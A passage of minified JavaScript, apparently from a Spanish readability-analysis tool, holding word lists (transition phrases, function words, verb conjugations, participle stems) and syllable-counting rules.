muestra","como resultado","como se ha notado","como sigue","comparado con","con el objeto de","con el propósito de","con que","con relación a","con tal de que","con todo","dado que","de ahí","de cierta manera","de cualquier manera","de cualquier modo","de ello resulta que","de este modo","de golpe","de hecho","de igual manera","de igual modo","de igualmanera","de la manera siguiente","de la misma forma","de la misma manera","de manera semejante","del mismo modo","de modo que","de nuevo","de otra manera","de otro modo","de pronto","de qualquier manera","de repente","de suerte que","de tal modo","de todas formas","de todas maneras","de todos modos","de veras","debido a","debido a que","del mismo modo","dentro de poco","desde entonces","después de","después de todo","ejemplo de esto","el caso es que","en aquel tiempo","en cambio","en cierto modo","en comparación con","en conclusión","en concreto","en conformidad con","en consecuencia","en consiguiente","en contraste con","en cualquier caso","en cuanto","en cuanto a","en definitiva","en efecto","en el caso de que","en este sentido","en fin","en fin de cuentas","en general","en lugar de","en otras palabras","en otro orden","en otros términos","en particular","en primer lugar","en primer término","en primera instancia","en realidad","en relación a","en relación con","en representación de","en resumen","en resumidas cuentas","en segundo lugar","en seguida","en síntesis","en suma","en todo caso","en último término","en verdad","en vez de","en virtud de","entre ellas figura","entre ellos figura","es cierto que","es decir","es evidente que","es incuestionable","es indudable","es más","está claro que","esto indica","excepto si","generalmente por ejemplo","gracias a","hasta aquí","hasta cierto punto","hasta el momento","hay que añadir","igual que","la mayor parte del tiempo","la mayoría del tiempo","lo que es peor","más tarde","mejor dicho","mientras tanto","mirándolo todo","nadie puede ignorar","no faltaría más","no obstante","o sea","otra vez","otro aspecto","para ilustrar","para concluir","para conclusión","para continuar","para empezar","para finalizar","para mencionar una cosa","para que","para resumir","para terminar","pongamos por caso","por añadidura","por cierto","por consiguiente","por ejemplo","por el consiguiente","por el contrario","por el hecho que","por eso","por esta razón","por esto","por fin","por la mayor parte","por lo general","por lo que","por lo tanto","por otro lado","por otra parte","por otro lado","por supuesto","por tanto","por último","por un lado","por una parte","primero que nada","primero que todo","pues bien","puesto que","rara vez","resulta que","sea como sea","seguidamente entre tanto","si bien","siempre que","siempre y cuando","sigue que","sin duda","sin embargo","sin ir más lejos","sobre todo","supuesto que","tal como","tales como","tan pronto como","tanto como","una vez","ya que"]);function n(a){let d=a;return a.forEach((e=>{(e=e.split("-")).length>0&&e.filter((d=>!a.includes(d))).length>0&&(d=d.concat(e))})),d}const o=["el","la","los","las","un","una","unos","unas"],c=["dos","tres","cuatro","cinco","seis","siete","ocho","nueve","diez","once","doce","trece","catorce","quince","dieciseis","diecisiete","dieciocho","diecinueve","veinte","cien","centena","mil","millon","millones"],t=["primera","segunda","tercera","cuarto","cuarta","quinto","quinta","sexto","sexta","septimo","septima","octavo","octava","noveno","novena","décimo","décima","vigésimo","vigésima","primeros","primeras","segundos","segundas","terceros","terceras","cuartos","cuartas","quintos","quintas","sextos","sextas","septimos","septimas","octavos","octavas","novenos","novenas","décimos","décimas","vigésimos","vigésimas"],l=["yo","yos","yoes","tú","él","ella","ello","nosotros","nosotras","vosotros","vosotras","ustedes","ellos","ellas"],u=["me","te","lo","se","nos","os","les"],m=["mí","ti","ud","uds","usted"],p=["conmigo","contigo","consigo"],b=["este","ese","aquel","esta","esa","aquella","estos","esos","aquellos","estas","esas","aquellas","esto","eso","aquello"],g=["mi","mis","mío","míos","mía","mías","nuestro","nuestros","nuestra","nuestras","tuyo","tuyos","tuya","tuyas","tu","tus","vuestro","vuestros","vuestra","vuestras","suyo","suyos","suya","suyas","su","sus"],z=["bastante","bastantes","mucho","muchas","mucha","muchos","más","muchísimo","muchísima","muchísimos","muchísimas","demasiado","demasiada","demasiados","demasiadas","poco","poca","pocos","pocas","menos","poquísimo","poquísima","poquísimos","poquísimas","demás","otros","otras","todo","toda","todos","todas"],f=["alguien","algo","algún","alguno","alguna","algunos","algunas","nadie","nada","ningún","ninguno","ninguna","ningunos","ningunas","tanto","tantos","tanta","tantas"],v=["cuyas","cual"],h=["cuyo"],j=["comoquiera","cualesquiera","cualquier","cuanta","cuantas","cuanto","cuantos","cuál","cuáles","cuánta","cuántas","cuánto","cuántos","cómo","dondequiera","dónde","quien","quienes","quienquiera","quién","quiénes","qué"],q=["allí","ahí","allá","aquí","acá","adónde","delante","detrás","debajo","adelante","atrás","adentro","afuera"],x=["he","has","ha","hay","hemos","habéis","han","hube","hubiste","hubo","hubimos","hubisteis","hubieron","había","habías","habíamos","habíais","habían","habría","habrías","habríais","habrían","habré","habrás","habrá","habremos","habréis","habrán","haya","hayas","hayamos","hayáis","hayan","hubiera","hubieras","hubiéramos","hubierais","hubieran","hubiese","hubieses","hubiésemos","hubieseis","hubiesen","hubiere","hubieres","hubiéremos","hubiereis","hubieren","habed","habido","debo","debes","debe","debemos","debéis","deben","debí","debiste","debió","debimos","debisteis","debieron","debía","debías","debíamos","debíais","debían","debería","deberías","deberíamos","deberíais","deberían","deberé","deberás","deberá","deberemos","deberéis","deberán","deba","debas","debamos","debáis","deban","debiera","debieras","debiéramos","debierais","debieran","debiese","debieses","debiésemos","debieseis","debiesen","debiere","debieres","debiéremos","debiereis","debieren","debed","debido","empiezo","empiezas","empieza","empezáis","empiezan","empecé","empezaste","empezó","empezamos","empezasteis","empezaron","empezaba","empezabas","empezábamos","empezabais","empezaban","empezaría","empezarías","empezaríamos","empezaríais","empezarían","empezaré","empezarás","empezará","empezaremos","empezaréis","empezarán","empiece","empieces","empecemos","empecéis","empiecen","empezara","empezaras","empezáramos","empezarais","empezaran","empezase","empezases","empezásemos","empezaseis","empezasen","empezare","empezares","empezáremos","empezareis","empezaren","empezad","empezado","comienzo","comienzas","comienza","comenzamos","comenzáis","comienzan","comencé","comenzaste","comenzó","comenzasteis","comenzaron","comenzaba","comenzabas","comenzábamos","comenzabais","comenzaban","comenzaría","comenzarías","comenzaríamos","comenzaríais","comenzarían","comenzaré","comenzarás","comenzará","comenzaremos","comenzaréis","comenzarán","comience","comiences","comencemos","comencéis","comiencen","comenzara","comenzaras","comenzáramos","comenzarais","comenzaran","comenzase","comenzases","comenzásemos","comenzaseis","comenzasen","comenzare","comenzares","comenzáremos","comenzareis","comenzaren","comenzad","comenzado","sigo","sigues","sigue","seguimos","seguis","siguen","seguí","seguiste","siguió","seguisteis","siguieron","seguía","seguías","seguíamos","seguíais","seguían","seguiría","seguirías","seguiríamos","seguiríais","seguirían","seguiré","seguirás","seguirá","seguiremos","seguiréis","seguirán","siga","sigas","sigamos","sigáis","sigan","siguiera","siguieras","siguiéramos","siguierais","siguieran","siguiese","siguieses","siguiésemos","siguieseis","siguiesen","siguiere","siguieres","siguiéremos","siguiereis","siguieren","seguid","seguido","tengo","tienes","tiene","tenemos","tenéis","tienen","tuve","tuviste","tuvo","tuvimos","tuvisteis","tuvieron","tenía","tenías","teníamos","teníais","tenían","tendría","tendrías","tendríamos","tendríais","tendrían","tendré","tendrás","tendrá","tendremos","tendréis","tendrán","tenga","tengas","tengamos","tengáis","tengan","tuviera","tuvieras","tuviéramos","tuvierais","tuvieran","tuviese","tuvieses","tuviésemos","tuvieseis","tuviesen","tuviere","tuvieres","tuviéremos","tuviereis","tuvieren","ten","tened","tenido","ando","andas","andamos","andáis","andan","anduve","anduviste","anduvo","anduvimos","anduvisteis","anduvieron","andaba","andabas","andábamos","andabais","andaban","andaría","andarías","andaríamos","andaríais","andarían","andaré","andarás","andará","andaremos","andaréis","andarán","ande","andes","andemos","andéis","anden","anduviera","anduvieras","anduviéramos","anduvierais","anduvieran","anduviese","anduvieses","anduviésemos","anduvieseis","anduviesen","anduviere","anduvieres","anduviéremos","anduviereis","anduvieren","andad","andado","quedo","quedas","queda","quedamos","quedáis","quedan","quedé","quedasteis","quedaron","quedaba","quedabas","quedábamos","quedabais","quedaban","quedaría","quedarías","quedaríamos","quedaríais","quedarían","quedaré","quedarás","quedará","quedaremos","quedaréis","quedarán","quede","quedes","quedemos","quedéis","queden","quedara","quedaras","quedáramos","quedarais","quedaran","quedase","quedases","quedásemos","quedaseis","quedasen","quedare","quedares","quedáremos","quedareis","quedaren","quedad","quedado","hallo","hallas","halla","hallamos","halláis","hallan","hallé","hallaste","halló","hallasteis","hallaron","hallaba","hallabas","hallábamos","hallabais","hallaban","hallaría","hallarías","hallaríamos","hallaríais","hallarían","hallaré","hallarás","hallará","hallaremos","hallaréis","hallarán","halle","halles","hallemos","halléis","hallen","hallara","hallaras","halláramos","hallarais","hallaran","hallase","hallases","hallásemos","hallaseis","hallasen","hallare","hallares","halláremos","hallareis","hallaren","hallad","hallado","vengo","vienes","viene","venimos","venis","vienen","vine","viniste","vino","vinimos","vinisteis","vinieron","venía","vanías","verníamos","veníais","venían","vendría","vendrías","vendríamos","vendíais","vendrían","vendré","vendrás","vendrá","vendremos","vendréis","vendrán","venga","vengas","vengamos","vengáis","vengan","viniera","vinieras","viniéramos","vinierais","vinieran","viniese","vinieses","viniésemos","vinieseis","viniesen","viniere","vinieres","viniéremos","viniereis","vinieren","ven","venid","venido","abro","abres","abre","abrismos","abrís","abren","abrí","abriste","abrió","abristeis","abrieron","abría","abrías","abríais","abrían","abriría","abrirías","abriríamos","abriríais","abrirían","abriré","abrirás","abrirá","abriremos","abriréis","abrirán","abra","abras","abramos","abráis","abran","abriera","abrieras","abriéramos","abrierais","abrieran","abriese","abrieses","abriésemos","abrieseis","abriesen","abriere","abrieres","abriéremos","abriereis","abrieren","abrid","abierto","voy","vas","va","vamos","vais","van","iba","ibas","íbamos","ibais","iban","iría","irías","iríamos","iríais","irían","iré","irás","irá","iremos","iréis","irán","vaya","vayas","vayamos","vayáis","vayan","ve","id","ido","acabo","acabas","acaba","acabamos","acabáis","acaban","acabé","acabaste","acabó","acabasteis","acabaron","acababa","acababas","acabábamos","acababais","acababan","acabaría","acabarías","acabaríamos","acabaríais","acabarían","acabaré","acabarás","acabará","acabaremos","acabaréis","acabarán","acabe","acabes","acabemos","acabéis","acaben","acabara","acabaras","acabáramos","acabarais","acabaran","acabase","acabases","acabásemos","acabaseis","acabasen","acabare","acabares","acabáremos","acabareis","acabaren","acabad","acabado","llevo","llevas","lleva","llevamos","lleváis","llevan","llevé","llevaste","llevó","llevasteis","llevaron","llevaba","llevabas","llevábamos","llevabais","llevaban","llevaría","llevarías","llevaríamos","llevaríais","llevarían","llevaré","llevarás","llevará","llevaremos","llevaréis","llevarán","lleve","lleves","llevemos","llevéis","lleven","llevara","llevaras","lleváramos","llevarais","llevaran","llevase","llevases","llevásemos","llevaseis","llevasen","llevare","llevares","lleváremos","llevareis","llevaren","llevad","llevado","alcanzo","alcanzas","alcanza","alcanzamos","alcanzáis","alcanzan","alcancé","alcanzaste","alcanzó","alcanzasteis","alcanzaron","alcanzaba","alcanzabas","alcanzábamos","alcanzabais","alcanzaban","alcanzaría","alcanzarías","alcanzaríamos","alcanzaríais","alcanzarían","alcanzaré","alcanzarás","alcanzará","alcanzaremos","alcanzaréis","alcanzarán","alcance","alcances","alcancemos","alcancéis","alcancen","alcanzara","alcanzaras","alcanzáramos","alcanzarais","alcanzaran","alcanzase","alcanzases","alcanzásemos","alcanzaseis","alcanzasen","alcanzare","alcanzares","alcanzáremos","alcanzareis","alcanzaren","alcanzad","alcanzado","digo","dices","dice","decimos","decís","dicen","dije","dijiste","dijo","dijimos","dijisteis","dijeron","decía","decías","decíamos","decíais","decían","diría","dirías","diríamos","diríais","dirían","diré","dirás","dirá","diremos","diréis","dirán","diga","digas","digamos","digáis","digan","dijera","dijeras","dijéramos","dijerais","dijeran","dijese","dijeses","dijésemos","dijeseis","dijesen","dijere","dijeres","dijéremos","dijereis","dijeren","di","decid","dicho","continúo","continúas","continúa","continuamos","continuáis","continúan","continué","continuaste","continuó","continuasteis","continuaron","continuaba","continuabas","continuábamos","continuabais","continuaban","continuaría","continuarías","continuaríamos","continuaríais","continuarían","continuaré","continuarás","continuará","continuaremos","continuaréis","continuarán","continúe","continúes","continuemos","continuéis","continúen","continuara","continuaras","continuáramos","continuarais","continuaran","continuase","continuases","continuásemos","continuaseis","continuasen","continuare","continuares","continuáremos","continuareis","continuaren","continuad","continuado","resulto","resultas","resulta","resultamos","resultáis","resultan","resulté","resultaste","resultó","resultasteis","resultaron","resultaba","resultabas","resultábamos","resultabais","resultaban","resultaría","resultarías","resultaríamos","resultaríais","resultarían","resultaré","resultarás","resultará","resultaremos","resultaréis","resultarán","resulte","resultes","resultemos","resultéis","resulten","resultara","resultaras","resultáramos","resultarais","resultaran","resultase","resultases","resultásemos","resultaseis","resultasen","resultare","resultares","resultáremos","resultareis","resultaren","resultad","resultado","puedo","puedes","puede","podemos","podéis","pueden","pude","pudiste","pudo","pudimos","pudisteis","pudieron","podía","podías","podíamos","podíais","podían","podría","podrías","podríamos","podríais","podrían","podré","podrás","podrá","podremos","podréis","podrán","pueda","puedas","podamos","podáis","puedan","pudiera","pudieras","pudiéramos","pudierais","pudieran","pudiese","pudieses","pudiésemos","pudieseis","pudiesen","pudiere","pudieres","pudiéremos","pudiereis","pudieren","poded","podido","quiero","quieres","quiere","queremos","queréis","quieren","quise","quisiste","quiso","quisimos","quisisteis","quisieron","quería","querías","queríamos","queríais","querían","querría","querrías","querríamos","querríais","querrían","querré","querrás","querrá","querremos","querréis","querrán","quiera","quieras","queramos","queráis","quieran","quisiera","quisieras","quisiéramos","quisierais","quisieran","quisiese","quisieses","quisiésemos","quisieseis","quisiesen","quisiere","quisieres","quisiéremos","quisiereis","quisieren","quered","querido","sabes","sabe","sabemos","sabéis","saben","supe","supiste","supo","supimos","supisteis","supieron","sabía","sabías","sabíamos","sabíais","sabían","sabría","sabrías","sabríamos","sabríais","sabrían","sabré","sabrás","sabrá","sabremos","sabréis","sabrán","sepa","sepas","sepamos","sepáis","sepan","supiera","supieras","supiéramos","supierais","supieran","supiese","supieses","supiésemos","supieseis","supiesen","supiere","supieres","supiéremos","supiereis","supieren","sabed","sabido","suelo","sueles","suele","solemos","soléis","suelen","solí","soliste","solió","solimos","solisteis","solieron","solía","solías","solíamos","solíais","solían","solería","solerías","soleríamos","soleríais","solerían","soleré","solerás","solerá","soleremos","soleréis","solerán","suela","suelas","solamos","soláis","suelan","soliera","solieras","soliéramos","solierais","solieran","soliese","solieses","soliésemos","solieseis","soliesen","soliere","solieres","soliéremos","soliereis","solieren","soled","solido","necesito","necesitas","necesitamos","necesitáis","necesitan","necesité","necesitaste","necesitó","necesitasteis","necesitaron","necesitaba","necesitabas","necesitábamos","necesitabais","necesitaban","necesitaría","necesitarías","necesitaríamos","necesitaríais","necesitarían","necesitaré","necesitarás","necesitará","necesitaremos","necesitaréis","necesitarán","necesite","necesites","necesitemos","necesitéis","necesiten","necesitara","necesitaras","necesitáramos","necesitarais","necesitaran","necesitase","necesitases","necesitásemos","necesitaseis","necesitasen","necesitare","necesitares","necesitáremos","necesitareis","necesitaren","necesita","necesitad","necesitado"],y=["haber","deber","empezar","comenzar","seguir","tener","andar","quedar","hallar","venir","abrir","ir","acabar","llevar","alcanzar","decir","continuar","resultar","poder","querer","saber","soler","necesitar"],w=["estoy","estás","está","estamos","estáis","están","estuve","estuviste","estuvo","estuvimos","estuvisteis","estuvieron","estuba","estabas","estábamos","estabais","estaban","estraría","estarías","estaríamos","estaríais","estarían","estaré","estarás","estará","estaremos","estaréis","estarán","esté","estés","estemos","estéis","estén","estuviera","estuviese","estuvieras","estuviéramos","estuvierais","estuvieran","estuvieses","estuviésemos","estuvieseis","estuviesen","estuviere","estuvieres","estuviéremos","estuviereis","estuvieren","estad","estado"],k=["soy","eres","es","somos","sois","son","fui","fuiste","fuimos","fuisteis","fueron","era","eras","éramos","erais","eran","sería","serías","seríamos","seríais","serían","seré","serás","seremos","seréis","serán","sea","seas","seamos","seáis","sean","fueras","fuéramos","fuerais","fueran","fuese","fueses","fuésemos","fueseis","fuesen","fuere","fueres","fuéremos","fuereis","fueren","sé","sed","sido"],S=["estar"],P=["ser"],T=["a","ante","abajo","adonde","al","allende","alrededor","amén","antes","arriba","aun","bajo","cabe","cabo","con","contigo","contra","de","dejante","del","dentro","desde","donde","durante","en","encima","entre","excepto","fuera","hacia","hasta","incluso","mediante","más","opuesto","par","para","próximo","salvo","según","sin","so","sobre","tras","versus","vía"],O=["cerca"],W=["o","y","entonces","e","u","ni","bien","ora"],R=["igual"],E=["apenas","segun","que"],C=["apunto","apunta","confieso","confiesa","confesaba","revelado","revelo","revela","revelaba","declarado","declaro","declara","declaba","señalo","señala","señalaba","declaraba","comento","comenta"],A=["muy","tan","completamente","suficiente","tal","tales"],L=["hago","haces","hace","hacemos","hacéis","hacen","hice","hiciste","hizo","hicimos","hicisteis","hicieron","hacía","hacías","hacíamos","hacíais","hacían","haría,","harías","haríamos","haríais","harían","haré","harás","hará","haremos","haréis","harán","haga","hagas","hagamos","hagáis","hagan","hiciera","hicieras","hiciéramos","hicierais","hicieran","hiciese","hicieses","hiciésemos","hicieseis","hiciesen","hiciere","hicieres","hiciéremos","hiciereis","hicieren","haz","haced","hecho","parezco","pareces","parece","parecemos","parecéis","parecen","parecí","pareciste","pareció","parecimos","parecisteis","parecieron","parecía","parecías","parecíamos","parecíais","parecían","parecería","parecerías","pareceríamos","pareceríais","parecerían","pareceré","parecerás","parecerá","pareceremos","pareceréis","parecerán","parezca","parezcas","parezcamos","parezcáis","parezcan","pareciera","parecieras","pareciéramos","parecierais","parecieran","pareciese","parecieses","pareciésemos","parecieseis","pareciesen","pareciere","parecieres","pareciéremos","pareciereis","parecieren","pareced","parecido","iba","ibais","iban","ibas","id","ido","iremos","irá","irán","irás","iré","iréis","iría","iríais","iríamos","irían","irías","va","vais","vamos","van","vas","vaya","vayamos","vayan","vayas","vayáis","ve","voy","yendo","íbamos"],M=["hacer","parecer","ir"],F=["enfrente","claro","bueno","mejor","mejores","buena","buenos","buenas","óptimo","óptimos","óptimas","bonísimo","bonísima","bonísimos","bonísimas","buenísimo","buenísima","buenísimos","buenísimas","buenérrimo","buenérrima","buenérrimos","buenérrimas","nuevo","nueva","nuevos","nuevas","novísimo","novísima","novísimos","novísimas","nuevísimo","nuevísima","nuevísimos","nuevísimas","viejo","viejos","vieja","viejas","anterior","grande","gran","grandes","mayores","mayor","máximo","máxima","grandísimo","grandísima","máximos","máximas","grandísimos","grandísimas","fácil","fáciles","rápido","rápida","rápidos","rápidas","lejos","lejas","lejote","lejotes","difícil","difíciles","propio","propios","propia","propias","largo","larga","largos","largas","bajos","baja","bajas","inferior","ínfimo","ínfima","ínfimos","ínfimas","bajísimo","bajísima","bajísimos","bajísimas","alto","alta","altos","altas","superior","superiores","supremo","suprema","supremos","supremas","sumo","suma","sumos","sumas","altísimo","altísima","altísimos","altísimas","regular","regulares","normal","pequeño","pequeña","pequeños","pequeñas","menor","pequeñísimo","pequeñísima","pequeñísimos","pequeñísimas","mínimo","mínima","mínimos","mínimas","diminuta","diminuto","diminutas","diminutos","chiquitito","chiquititos","chiquitita","chiquititas","corta","corto","cortas","cortos","principal","principales","mismo","mismos","misma","mismas","capaz","capaces","cierta","cierto","ciertas","ciertos","certísimos","certísimas","ciertísimo","ciertísima","ciertísimos","ciertísimas","llamado","llamada","llamados","llamadas","mayormente","reciente","recientes","completa","completo","completas","completos","absoluta","absoluto","absolutas","absolutos","últimamente","posible","común","comúnes","comúnmente","constantemente","continuamente","directamente","fácilmente","casi","ligeramente","estima","estimada","estimado","aproximada","aproximadamente","última","últimas","último","últimos","diferente","diferentes","similar","mal","malo","malos","mala","malas","peor","pésimo","pésima","malísimo","malísima","pésimos","pésimas","malísimos","malísimas","perfectamente","excelente","final","general"],N=["ah","eh","ejem","ele","achís","adiós","agur","ajá","ajajá","ala","alá","albricias","aleluya","alerta","alirón","aló","amalaya","ar","aro","arrarray","arre","arsa","atatay","aúpa","ax","ay","ayayay","bah","banzai","barajo","bla","bravo","buf","bum","ca","caguendiós","canastos","caracho","caracoles","carajo","caramba","carape","caray","cáscaras","cáspita","cataplum","ce","chao","chau","che","chis","chist","chitón","cho","chucho","chus","cielos","clo","coche","cochi","cojones","concho","coño","córcholis","cuchí","cuidado","cuz","demonio","demontre","despacio","diablo","diantre","dios","ea","epa","equilicuá","estúpido","eureka","evohé","exacto","fantástico","firmes","fo","forte","gua","gualá","guarte","guay","hala","hale","he","hi","hin","hola","hopo","huesque","huiche","huichó","huifa","hurra","huy","ja","jajajá","jajay","jaque","jau","jo","jobar","joder","jolín","jopo","leñe","listo","malhayas","mamola","mecachis","miéchica","mondo","moste","mutis","nanay","narices","oh","ojalá","ojo","okay","ole","olé","órdiga","oste","ostras","ox","oxte","paf","pardiez","paso","pucha","puf","puff","pumba","puñeta","quia","quiúbole","recórcholis","rediez","rediós","salve","sanseacabó","sniff","socorro","ta","tararira","tate","tururú","uf","uh","ui","upa","uste","uy","victoria","vítor","viva","za","zambomba","zapateta","zape","zas"],B=["kg","mg","gr","g","km","m","l","ml","cl"],D=["minuto","minutos","hora","horas","día","días","semana","semanas","mes","meses","año","años","hoy","mañana","ayer"],_=["cosa","cosas","manera","maneras","caso","casos","pieza","piezas","vez","veces","parte","partes","porcentaje","instancia","aspecto","aspectos","punto","puntos","objeto","objectos","persona","personas"],I=["no","euros","sí","síes","noes"],V=(n(F),n([].concat(t,y,S,P,M)),n([].concat(o,T,W,b,A,z,g)),n([].concat(r,l,u,m,p,N,c,x,w,k,C,L,f,R,E,v,h,j,q,I,O,B,D,_)),n([].concat(o,T,u,g,f,j,c,t,L,M,C,v,h,p,m,O))),J=n([].concat(w,S)),G=n([].concat(o,c,t,b,g,l,p,m,u,z,f,v,h,j,q,O,x,y,w,k,S,P,T,W,R,E,C,r,["básicamente","esencialmente","primeramente","siempre","nunca","ahora","quizá","acaso","inclusive","probablemente","verdaderamente","seguramente","jamás","obviamente","indiscutiblement","inmediatamente","previamente"],A,L,M,N,F,B,_,I,D,["sra","sras","srta","sr","sres","dra","dr","profa","prof"],["jr","sr"])),H=["pero","ora","aunque","aun","mientras","porque","apenas","si","antes","después","cómo","como","empero","que","cuanto","cuando","cual","cuales","quién","quien","quienes","dónde","adónde","cuyo","cuyos","cuya","cuyas"],K=[["de un lado","de otra parte"],["de un lado","de otro"],["no","sino que"],["no","sino"],["por un lado","por otro lado"],["por una parte","por otra parte"],["por una parte","por otra"],["tanto","como"],["bien","bien"]],Q=JSON.parse('{"vowels":"aeiouáéíóúü","deviations":{"vowels":[{"fragments":["i[ií]","[íú][aeo]","o[aáeéíóú]","uu","flu[iea]","ru[ie]","eio","eu[aá]","oi[aó]","[iu]ei","ui[éu]","^anti[aeoá]","^zoo","coo","microo"],"countModifier":1},{"fragments":["[eéó][aáeéíoóú]"],"countModifier":1},{"fragments":["[aáü][aáeéiíoóú]","eoi","oeu","[eu]au"],"countModifier":1}],"words":{"full":[{"word":"scooter","syllables":2},{"word":"y","syllables":1},{"word":"beat","syllables":1},{"word":"via","syllables":2},{"word":"ok","syllables":2}],"fragments":{"global":[{"word":"business","syllables":2},{"word":"coach","syllables":1},{"word":"reggae","syllables":2},{"word":"mail","syllables":1},{"word":"airbag","syllables":2},{"word":"affaire","syllables":2},{"word":"training","syllables":2},{"word":"hawaian","syllables":3},{"word":"saharaui","syllables":3},{"word":"nouveau","syllables":2},{"word":"chapeau","syllables":2},{"word":"free","syllables":1},{"word":"green","syllables":1},{"word":"jeep","syllables":1},{"word":"toffee","syllables":2},{"word":"tweet","syllables":1},{"word":"tweed","syllables":1},{"word":"semiautomátic","syllables":6},{"word":"estadou","syllables":4},{"word":"broadway","syllables":2},{"word":"board","syllables":1},{"word":"load","syllables":1},{"word":"roaming","syllables":2},{"word":"heavy","syllables":2},{"word":"break","syllables":1}]}}}}'),U={recommendedLength:25},X=["ababillad","abacorad","abadernad","abajad","abalanzad","abaldonad","abalead","abaluartad","abanad","abancalad","abanderad","abanderizad","abandonad","abanicad","abañad","abaratad","abarbetad","abarcad","abarload","abarquillad","abarracad","abarrad","abarrotad","abastad","abastardad","abastecid","abastionad","abatanad","abatatad","abatid","abatojad","abdicad","abducid","abejead","abejonead","abejorread","abeldad","abemolad","aberrad","abetunad","abiert","abigarrad","abisagrad","abismad","abjurad","ablacionad","ablandad","abluid","abnegad","abobad","abocad","abocetad","abochornad","abocinad","abofad","abofetead","abogad","abolid","abollad","abombad","abominad","abonad","abordad","aborrascad","aborrecid","aborregad","abortad","abotagad","abotargad","abotonad","abovedad","aboyad","abracad","abrasad","abrazad","abrevad","abreviad","abribonad","abrigad","abrillantad","abrochad","abrogad","abroncad","abrotoñad","abrumad","abscedid","abscondid","absolutizad","absorbid","abstenid","abstergid","abstraíd","absuelt","abuchead","abultad","abundad","abuñolad","aburguesad","aburrid","aburujad","abusad","acabad","acaballad","acachetead","academizad","acaecid","acairelad","acalambrad","acalenturad","acallad","acalmad","acalorad","acamad","acampad","acampanad","acanalad","acantilad","acantonad","acañonead","acaparad","acaramelad","acardenalad","acariciad","acarread","acartonad","acastillad","acatad","acatarrad","acaudillad","accedid","accesad","accidentad","accionad","acechad","acedad","aceitad","acelerad","acendrad","acensad","acensuad","acentuad","acepillad","aceptad","acerad","acercad","acerrojad","acertad","acervad","acetad","acetificad","acezad","achacad","achaflanad","achantad","achaparrad","achatad","achatarrad","achicad","achicharrad","achicopalad","achinad","achispad","achocolatad","acholad","achorad","achuchad","acibarad","acicalad","acicatead","acidificad","acidulad","aciemad","acitronad","aclamad","aclarad","aclimatad","acobardad","acobijad","acodad","acoderad","acogid","acogotad","acojinad","acojonad","acolad","acolchad","acolchonad","acolitad","acollad","acollarad","acometid","acomodad","acompañad","acompasad","acomplejad","acondicionad","aconductad","acongojad","aconsejad","acontecid","acopiad","acoplad","acoquinad","acorad","acorazad","acorchad","acordad","acordonad","acorralad","acorrid","acortad","acosad","acostad","acostumbrad","acotad","acotejad","acotolad","acovachad","acrecentad","acrecid","acreditad","acreíd","acremad","acrianzad","acribillad","acriminad","acrisolad","acristalad","activad","actuad","actualizad","acuantiad","acuarelad","acuartelad","acuatizad","acuchillad","acuciad","acuclillad","acudid","acuerpad","acuitad","aculad","aculebrad","aculturad","acumulad","acunad","acuñad","acurrucad","acusad","adamad","adamascad","adaptad","adarvad","adecentad","adecuad","adehesad","adelantad","adelgazad","ademad","adentrad","aderezad","adestrad","adeudad","adherid","adiad","adicionad","adiestrad","adietad","adinerad","adivinad","adjetivad","adjudicad","adjuntad","administrad","admirad","admitid","adobad","adocenad","adoctrinad","adolecid","adoptad","adoquinad","adorad","adormecid","adormid","adormilad","adornad","adosad","adquirid","adscript","adscrit","aducid","adueñad","adujad","adulad","adulterad","adurid","advenid","adverad","adversad","advertid","advocad","adyacid","aerad","aerografiad","aerotransportad","afamad","afanad","afantasmad","afead","afectad","afeitad","afelpad","afeminad","aferrad","afianzad","aficionad","afiebrad","afilad","afiliad","afiligranad","afinad","afincad","afirmad","aflamencad","afligid","aflojad","aflorad","afluid","aforad","aforrad","afortunad","afrancesad","afrentad","africanizad","afrontad","agachad","agarrad","agarrotad","agasajad","agavillad","agazapad","agenciad","agendad","agermanad","aggiornad","agigantad","agilipollad","agilizad","agitad","agitanad","aglomerad","aglutinad","agobiad","agolpad","agonizad","agorad","agostad","agotad","agraciad","agradad","agradecid","agrandad","agravad","agraviad","agredid","agregad","agremiad","agriad","agrietad","agringad","agripad","agrisad","agrumad","agrupad","aguad","aguaitad","aguantad","aguapad","aguardad","agudizad","agüevad","aguijad","aguijonead","aguisad","agüitad","agujerad","agujeread","agusanad","aguzad","ahajad","ahechad","aherrojad","aherrumbrad","ahijad","ahilad","ahincad","ahinojad","ahitad","ahogad","ahondad","ahorcad","ahorcajad","ahormad","ahorquillad","ahorrad","ahuecad","ahumad","ahusad","ahuyentad","airad","airead","aislad","ajad","ajamonad","ajardinad","ajetread","ajuarad","ajuntad","ajustad","ajusticiad","alabad","alabead","alaciad","alambicad","alambrad","alampad","alancead","alardead","alargad","alarmad","albead","albergad","alboread","alborotad","alborozad","alburead","alcahuetead","alcalinizad","alcanforad","alcantarillad","alcanzad","alcoholad","alcoholizad","alcorzad","alead","aleatorizad","alebrestad","aleccionad","alechugad","alegad","alegorizad","alegrad","alejad","alelad","alentad","alertad","aletargad","aletead","alevantad","alfabetizad","alfalfad","alfombrad","algodonad","alhajad","aliad","alicatad","alienad","aligerad","alijad","alijarad","alimentad","alindad","alinead","aliñad","alisad","alistad","aliviad","alivianad","allanad","allegad","almacenad","almagrad","almenad","almendrad","almibarad","almidonad","almizclad","almohadillad","almohazad","almorzad","alocad","alojad","alongad","alquilad","alquitarad","alquitranad","altead","alterad","altercad","alternad","aluciflipad","alucinad","aludid","alumbrad","alunizad","aluzad","alzad","amacollad","amad","amadrinad","amaestrad","amagad","amainad","amaitinad","amalgamad","amamantad","amancebad","amancillad","amanecid","amanerad","amansad","amanzanad","amañad","amarad","amargad","amariconad","amarillead","amarillecid","amarizad","amarrad","amartelad","amartillad","amartizad","amasad","amasijad","ambicionad","ambientad","amblad","ambulad","amedrentad","amelcochad","amenazad","amenguad","amenizad","americanizad","ameritad","amerizad","ametrallad","amigad","amilanad","aminorad","amistad","amnistiad","amoblad","amodorrad","amohinad","amojamad","amojonad","amolad","amoldad","amonad","amonedad","amonestad","amontonad","amoratad","amordazad","amorrad","amortajad","amortiguad","amortizad","amoscad","amostazad","amotinad","amovid","amparad","ampliad","amplificad","ampollad","amputad","amueblad","amurad","amurallad","amurrad","amusgad","anadead","analizad","anarquizad","anastomosad","anatematizad","anchad","anclad","ancorad","andad","andaluzad","andamiad","aneblad","anegad","anestesiad","anexad","anexionad","anglicanizad","anglificad","angostad","angulad","angustiad","anhelad","anidad","anihilad","anillad","animad","animalizad","aniñad","aniquilad","anisad","anochecid","anodizad","anonadad","anonimizad","anotad","anoticiad","anquilosad","ansiad","antagonizad","antecedid","antecogid","antedatad","antedich","antepagad","antepasad","antepuest","anteveni